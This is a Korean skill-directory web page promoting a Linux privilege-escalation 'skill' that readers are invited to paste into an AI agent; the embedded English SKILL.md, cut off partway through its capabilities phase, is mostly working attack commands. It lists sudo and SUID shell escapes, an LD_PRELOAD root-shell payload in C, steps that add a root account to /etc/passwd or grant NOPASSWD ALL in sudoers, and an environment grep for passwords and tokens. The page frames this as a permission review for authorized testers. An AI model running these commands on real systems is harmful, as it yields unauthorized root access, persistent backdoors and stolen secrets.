본문으로 건너뛰기
Skillpedia
보안6.5k · #14135

linux-privesc-enum

하는 일

이 가이드는 리눅스 권한 설정을 검토하는 순서를 나열합니다. 약한 권한 설정을 찾아야 하는 시스템 관리자와 허가된 테스터를 위한 것입니다.

사용하는 경우

  • ✓시스템 관리자가 리눅스 서버의 sudo 규칙과 특수 권한을 검토하려는 경우.
  • ✓허가된 테스트에 로컬 권한 설정을 위한 구조화된 체크리스트가 필요할 때.
  • ✓팀이 예약 작업과 쓰기 가능한 경로가 안전한지 확인하려는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“리눅스 서버의 권한 검토를 진행해 주세요. sudo 규칙과 특수 권한부터 시작해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 신원과 시스템 정보에서 시작해 sudo 규칙, 특수 권한 파일, 예약 작업, 쓰기 가능한 경로 순서로 단계를 밟고, 찾은 약한 설정을 각각 기록합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Linux Privilege Escalation — Systematic Enumeration Methodology

Grounded in autonomous privesc research (Happe & Cito, ESEC/FSE 2023 — hackingBuddyGPT) which empirically validated that ordered, phase-driven enumeration with state tracking outperforms ad hoc command execution. Follow phases in priority order; stop at first exploitable finding and validate before moving to the next phase.

Authorized use only. Run only on systems you own or have explicit written permission to test.


Phase 0 — Situational Awareness (always first)

Establish identity, OS, and architecture before anything else. Every later phase depends on this context.

# Identity
id; whoami; groups; cat /proc/$$/status | grep -E 'Uid|Gid|Groups'

# OS and kernel
uname -a
cat /etc/os-release 2>/dev/null || cat /etc/issue
cat /proc/version

# Environment
env | grep -iE 'path|home|sudo|pass|token|secret|key'
echo $PATH

# Network context (pivot potential)
ip addr show 2>/dev/null || ifconfig
ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null
cat /etc/hosts

# Running processes (spot root services)
ps auxf 2>/dev/null | grep -v '\[' | head -40

Phase 1 — Sudo (highest yield, lowest noise)

Sudo misconfigurations are the most common finding in CTFs and enterprise systems alike.

sudo -l 2>/dev/null
# Parse output carefully:
# (root) NOPASSWD: /usr/bin/vim       → vim -c ':!sh'
# (root) NOPASSWD: /usr/bin/python3   → python3 -c 'import os; os.system("/bin/bash")'
# (root) NOPASSWD: /usr/bin/find      → find / -exec /bin/sh \; -quit
# (root) NOPASSWD: /usr/bin/less      → less /etc/shadow  then: !sh
# (root) NOPASSWD: /usr/bin/awk       → awk 'BEGIN {system("/bin/sh")}'
# (root) NOPASSWD: /usr/bin/tar       → tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# (root) NOPASSWD: /usr/bin/env       → env /bin/sh
# (root) NOPASSWD: /usr/bin/zip       → zip /tmp/x /tmp/x -T --unzip-command="sh -c /bin/sh"
# (root) NOPASSWD: /usr/bin/man       → man man  then: !sh
# (root) NOPASSWD: /usr/bin/ftp       → ftp  then: !sh
# (root) NOPASSWD: /bin/cp            → overwrite /etc/passwd or /etc/sudoers
# (root) NOPASSWD: /usr/bin/tee       → echo 'user ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/pwned

GTFOBins lookup workflow

For any allowed binary, check https://gtfobins.github.io/#<binary>?sudo — filter for "sudo" column.

Sudo env_keep abuse

# If sudoers contains: Defaults env_keep += "LD_PRELOAD"
cat > /tmp/pe.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so <any_allowed_command>

Phase 2 — SUID / SGID Binaries

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null | sort

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null | sort

# Quick cross-reference against known GTFOBins SUID list
KNOWN_SUID=(bash sh dash find python python3 perl ruby php node env vim vi nano nmap curl wget cp mv tee tar zip less more man ftp ssh socat strace tcpdump openssl)
for bin in "${KNOWN_SUID[@]}"; do
    find / -name "$bin" -perm -4000 2>/dev/null
done

Common SUID exploitation patterns

# bash / sh with SUID — direct root shell
/bin/bash -p          # -p preserves effective UID

# find
/usr/bin/find / -name "x" -exec /bin/bash -p \; -quit

# python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# vim / vi
/usr/bin/vim -c ':python3 import os; os.setuid(0); os.execl("/bin/bash","bash","-p")'
# or simply:
/usr/bin/vim -c ':!bash -p'

# nmap (< 5.21 with --interactive)
/usr/bin/nmap --interactive   # then: !sh

# cp — overwrite /etc/passwd
openssl passwd -1 -salt salt hackme        # get hash
echo 'root2:$1$salt$<hash>:0:0:root:/root:/bin/bash' >> /tmp/newpasswd
/usr/bin/cp /tmp/newpasswd /etc/passwd
su root2  # password: hackme

# env
/usr/bin/env /bin/bash -p

# tee — append to sudoers
echo 'www-data ALL=(ALL) NOPASSWD: ALL' | /usr/bin/tee -a /etc/sudoers

Phase 3 — Linux Capabilities

Capabilities are frequently overlooked and often not caught by basic linPEAS runs on hardened systems.

getcap -r / 2>/dev/null
# High-value capabilities:
# cap_setuid+ep   → direct UID 0
# cap_setgid+ep   → direct GID 0
# cap_dac_read_search+ep → re
자주 묻는 질문

왜 정해진 순서를 따르나요?

가이드는 무작위 명령보다 순서가 있는 점검이 더 믿을 만하며, 첫 실제 문제를 확인한 뒤 다음으로 넘어간다고 말합니다.

sudo 잘못된 설정이란 무엇인가요?

사용자가 루트 권한으로 프로그램을 실행할 수 있도록 허용되어 있는데, 이를 악용할 수 있는 상태입니다.

누가 실행해야 하나요?

자신이 소유하거나 테스트 권한이 있는 시스템의 관리자와 허가된 테스터입니다.

상세 정보

작성자의 원본 설명

Systematic Linux privilege-escalation enumeration methodology — ordered phases covering sudo, SUID/SGID, capabilities, cron, writable paths, NFS, kernel CVEs, and GTFOBins lookup, grounded in LLM-assisted autonomous privesc research (hackingBuddyGPT/ipa-lab).

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14135
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬